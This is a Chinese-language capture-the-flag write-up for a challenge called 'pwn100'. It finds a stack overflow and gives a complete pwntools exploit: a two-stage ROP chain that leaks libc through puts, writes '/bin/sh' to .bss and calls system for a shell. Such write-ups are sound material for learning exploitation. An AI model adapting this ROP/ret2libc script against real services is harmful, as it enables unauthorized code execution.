pwn100
檔案連結 -> Github
checksec
![](https://img.laitimes.com/img/9ZDMuAjOiMmIsIjOiQnIsIyROBlLzgjNwEjM1EjMxEjNwkTMwIzLc52YucWbp5GZzNmLn9Gbi1yZtl2Lc9CX6MHc0RHaiojIsJye.png)
尋找漏洞
sub_40063D
函數中擷取輸入存放到
v1
,存在棧溢出漏洞
攻擊思路
該程式中沒用system函數,也沒有binsh字元串,而且參數是經過寄存器傳遞的,是以要通過ROP來達成洩露
libc
,寫入
/bin/sh
的操作
寄存器
rdi
中存放的是寫入的位址,
rsi
是寫入的位元組數,是以可以通過
pop rdi; ret
pop rsi; pop r15; ret
來控制寫入
exp
#coding:utf-8
from pwn import *
from LibcSearcher import *
if len(sys.argv) == 3:
io = remote(sys.argv[1],int(sys.argv[2]))
elif len(sys.argv) == 2:
io = process(sys.argv[1])
readn = 0x40063D
start = 0x40068E
read_got = 0x601028
put_plt = 0x400500
put_got = 0x601018
length = 0x40
max_length = 200
bss = 0x601040
pop_rdi = 0x0000000000400763
pop_rsi_r15 = 0x0000000000400761
def stageone():
payload = 'A'*length+"AAAAAAAA"+p64(pop_rdi)+p64(read_got) \ #pop_rdi後緊接read_got,就把read_got傳入了rdi,作為參數
+p64(put_plt)+p64(pop_rdi)+p64(bss) \ #上一行執行ret的時候就跳轉到puts_plt,執行到現在就類似于執行了一個puts(read_got)
+p64(pop_rsi_r15)+p64(7)+p64(0)+p64(readn)+p64(start) #這一行也類似,上一行把bss的位址pop入rdi,然後把7pop入rsi,然後執行readn,就類似于執行了readn(bss,7)
payload += "A"*(max_length-len(payload)) #這裡就是填充
io.send(payload)
sleep(1)
io.send("/bin/sh") #payload送出去以後,會先puts,然後執行readn(bss,7),是以就要再送入/bin/sh字元串
print io.recvuntil("bye~")
return u64(io.recv()[1:-1].ljust(8,'\0'))
read_addr = stageone()
print "read address: ", hex(read_addr)
libc = LibcSearcher("read",read_addr)
libc_base = read_addr - libc.dump("read")
system_addr = libc_base + libc.dump("system")
print "system address: ",hex(system_addr)
def stagetwo():
payload = 'A'*length+"AAAAAAAA"+p64(pop_rdi)+p64(bss) \ #将bss的位址即/bin/sh字元串的位址傳給rdi作為第一個參數,然後直接執行system,就相當于執行了system("/bin/sh"),然後getshell
+p64(system_addr)+p64(start)
payload += "A"*(max_length-len(payload))
io.send(payload)
stagetwo()
io.interactive()